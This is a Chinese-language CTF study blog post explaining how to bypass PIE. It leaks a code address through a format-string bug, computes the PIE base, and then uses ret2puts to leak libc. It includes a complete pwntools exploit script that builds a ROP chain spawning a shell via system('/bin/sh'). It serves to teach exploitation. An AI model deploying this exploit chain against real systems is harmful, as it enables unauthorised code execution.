当前位置: 首页 > news >正文

【学习记录】Week5(三):PIE 随机化破解——代码段地址泄露与 ret2puts 组合拳

写在前面:在绕过 Canary 之后,我们经常会遇到另一座大山——PIE(位置无关可执行文件)。开启 PIE 后,程序自身的代码段(.text)、PLT 表、GOT 表等地址每次运行都会随机变化。这意味着我们之前辛辛苦苦找的pop rdi; retputs@plt地址全部失效!本文将教你如何利用栈上残留的代码段地址推导出 PIE 基址,并在已知基址的前提下,利用ret2puts完成对 libc 地址的二次泄露。

📑 目录

  1. PIE 机制解析:代码段也随机了,ROP 链何去何从?
  2. 破局核心:相对偏移固定与“12位不变”原理
  3. 第一阶段:泄露栈上残留地址,计算 PIE 基址
  4. 第二阶段:重获新生,ret2puts 泄露 libc 地址
  5. 实战推演:双阶段泄露打通 PIE 保护

1. PIE 机制解析:代码段也随机了,ROP 链何去何从?

在没开 PIE 的情况下,程序编译后的.text段地址是固定的(如0x401000)。开了 PIE 后,程序每次加载到内存的基址是随机的(如第一次是0x555555554000,第二次是0x7ffff7a00000)。

痛点所在:
我们之前依赖的程序自带的 Gadget(如pop rdi; ret)和puts@plt的地址全变成了未知的随机值。没有pop rdi就无法传参,没有puts@plt就无法打印,ROP 链直接断在起点。

2. 破局核心:相对偏移固定与“12位不变”原理

PIE 并不是完美的。它的随机化是以内存页(通常是 0x1000 字节,即 4KB)为粒度进行的。
这意味着:

  1. 基址的末尾 12 位(3个十六进制位,即 1 页内偏移)永远是000
  2. 程序内部各个地址之间的相对偏移量是永远不变的

例如,不管程序加载到哪里,main函数相对于基址的偏移量如果是0x1156,那么main的真实地址永远是PIE_base + 0x1156
只要我们能泄露任意一个代码段内的地址,用它的真实地址减去它的相对偏移,就能逆推出当前的 PIE 基址!

3. 第一阶段:泄露栈上残留地址,计算 PIE 基址

怎么泄露代码段地址呢?最简单的方法是利用栈上残留的返回地址

原理推演:
main函数调用vuln函数时,栈上会压入main函数中call vuln的下一条指令地址(如main+0x2a)。这个地址属于代码段!
如果vuln函数中存在可以打印栈数据的漏洞(如格式化字符串%p泄露,或者利用puts打印未初始化的局部变量越界读到栈上的返回地址),我们就能拿到它。

假设性场景(格式化字符串泄露):
程序执行printf(buf),我们输入%p.%p.%p...逐个探测栈上的数据。

模拟终端输出:

0x7fff12345670.0x555555555156.0x7ffff7a...

假设通过偏移计算,我们确认第二个泄露的值0x555555555156main函数的返回地址(main+0x2a之类)。
我们在 IDA 或 Ghidra 中查看该程序,发现这个指令在未开 PIE 时的静态地址是0x1156

计算 PIE 基址:

leak_code_addr = 0x555555555156 static_offset = 0x1156 pie_base = leak_code_addr - static_offset log.success(f"PIE Base: {hex(pie_base)}") # 输出: PIE Base: 0x555555554000 (末尾必定是 000)

拿到了 PIE 基址,程序对我们来说又变成了“透明”的!

4. 第二阶段:重获新生,ret2puts 泄露 libc 地址

既然有了 PIE 基址,我们就能算出puts@plt和 Gadget 的真实地址了。接下来,就是 Week4 学过的ret2libc泄露环节。

核心公式:

  • 真实 Gadget 地址 = PIE 基址 + 静态 Gadget 偏移
  • 真实puts@plt地址 = PIE 基址 +puts@plt偏移
  • 真实puts@got地址 = PIE 基址 +puts@got偏移

假设性数据准备:

# 已通过 PIE 基址计算出的真实地址 pop_rdi = pie_base + 0x1193 puts_plt = pie_base + 0x1030 puts_got = pie_base + 0x4018 main_addr = pie_base + 0x1156 # 用于二次返回

有了这些真实地址,我们就可以构造第一发 Payload:puts(puts@got),把 libc 的真实地址打印出来。

5. 实战推演:双阶段泄露打通 PIE 保护

完整攻击流推演:

阶段一:泄露 PIE 基址

from pwn import * p = process('./vuln') elf = ELF('./vuln') # 1. 触发格式化字符串或栈越界读,泄露栈上的代码段地址 p.sendline(b'%7$p') leak = p.recvline() code_addr = int(leak, 16) # 2. 计算 PIE 基址 (假设泄露的是 main+0x2a, 静态地址 0x1156) pie_base = code_addr - 0x1156 log.success(f"PIE Base: {hex(pie_base)}") # 动态计算真实地址 pop_rdi = pie_base + 0x1193 ret = pie_base + 0x101a # 用于栈对齐 puts_plt = pie_base + elf.plt['puts'] puts_got = pie_base + elf.got['puts'] main_addr = pie_base + elf.symbols['main']

阶段二:ret2puts 泄露 libc 并 Getshell

# 3. 构造 Payload 1: 泄露 puts 的 libc 真实地址 payload1 = b'A' * 40 # 假设偏移 40 (假设已绕过 Canary) payload1 += p64(pop_rdi) payload1 += p64(puts_got) payload1 += p64(puts_plt) payload1 += p64(main_addr) # 返回到 main,准备二次溢出 p.sendline(payload1) # 4. 接收并计算 libc 基址 leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00')) libc_base = leaked_puts - 0x6f6a0 # 假设本地 libc puts 偏移 log.success(f"Libc Base: {hex(libc_base)}") system_addr = libc_base + 0x45390 bin_sh_addr = libc_base + 0x18ce17 # 5. 构造 Payload 2: 调用 system("/bin/sh") payload2 = b'A' * 40 payload2 += p64(ret) # 栈对齐 payload2 += p64(pop_rdi) payload2 += p64(bin_sh_addr) payload2 += p64(system_addr) p.sendline(payload2) p.interactive()

模拟终端输出:

[+] PIE Base: 0x555555554000 [+] Libc Base: 0x7ffff79e2000 [*] Switching to interactive mode $ id uid=1000(user) gid=1000(user) groups=1000(user)

完美!在 PIE 和 ASLR 的双重夹击下,通过“先推 PIE,再推 libc”的连环拳成功拿 Shell。

6. 结语

PIE 保护看似让所有地址都变成了盲盒,但只要抓住“页内偏移不变”这个命门,通过泄露任意一个代码段地址就能逆推出全局基址。
在实际 CTF 中,如果题目同时开了 Canary 和 PIE,通常的解题套娃顺序是:先绕过/泄露 Canary -> 再泄露 PIE 基址 -> 再泄露 libc 基址 -> 最终 ROP。

下一篇,我们将学习一种不需要算偏移、不需要完整地址的精细化控制技术——Partial Overwrite(部分覆盖)与 off-by-null 的结合应用。如果本文对你有帮助,请点赞收藏支持!🙏

http://www.jsqmd.com/news/1107709/

相关文章:

  • 2026 风口洞察:海外短剧 App 与 TK 小程序开发
  • 实时归档,迁移神器|「星盾」手提灾备保险箱发布
  • 【小白也能轻松玩转龙虾】虾壳云一键部署低配置优化,老旧电脑运行 OpenClaw v2.7.9(附最新安装包)
  • 5分钟搞定空洞骑士模组管理的终极方案
  • 零信任安全:数字化时代的企业防护新范式
  • MbedTLS实战:嵌入式AES加解密核心实现与安全通信模块开发
  • 【20年JetBrains生态实战经验】:为什么你抽出来的接口总要返工?5个被忽略的语义一致性检查点
  • 浩辰CAD软件怎么样?
  • QQ音乐解析完全指南:3步掌握无损音乐下载与歌单批量处理
  • Scala、Java、Python、JavaScript 的核心特性和应用场景(Python 的“单机“局限性:GIL 机制导致的多核并行缺陷)
  • NomNom存档编辑器完整指南:No Man‘s Sky终极修改工具终极指南
  • 为什么必火GEO不承诺AI回答排名?
  • 国标视频监控平台架构深度解析:从协议兼容到企业级部署的技术演进
  • 【IDEA Git回滚终极指南】:5种精准回滚场景+3个避坑红线,资深架构师压箱底实战手册
  • UI界面设计新手应该用什么软件?2026入门工具推荐
  • 当B站字幕不再是只读文本:解锁CC字幕的二次创作新姿势
  • 回滚代码总出错?IDEA + Git协同回滚的8个隐藏配置项(官方文档未公开,团队内部培训PPT首次流出)
  • Solidity 合约安全:重入攻击不是历史问题
  • 【IDEA Git冲突解决终极指南】:20年老司机亲授5大高频场景避坑法+3步秒解技巧
  • 3步配置专业级AI视频处理:OBS背景移除插件完整指南
  • 计步器算法原理及数据分析
  • 方芯FCE1100/FCE132X EtherCAT背板方案:低成本实现微秒级同步,赋能工业智能制造升级
  • 图解人工智能(74)人工智能前沿-生物拟态证据
  • 计算机毕业设计之jsp家庭共享权益的健身俱乐部会员管理系统
  • 2026温州成人教育市场格局解析:学历提升进入“精耕时代“
  • 微信小程序UI自动化测试实战:基于Minium的完整方案与避坑指南
  • java面试:mq 优化
  • 如何快速解锁加密音乐:免费音频解密工具完整指南
  • 前端/后端/设计师/产品经理学AIGC:2026职场提效与进阶实战指南
  • 如何3分钟掌握Electron asar文件管理:Windows用户的终极图形化解决方案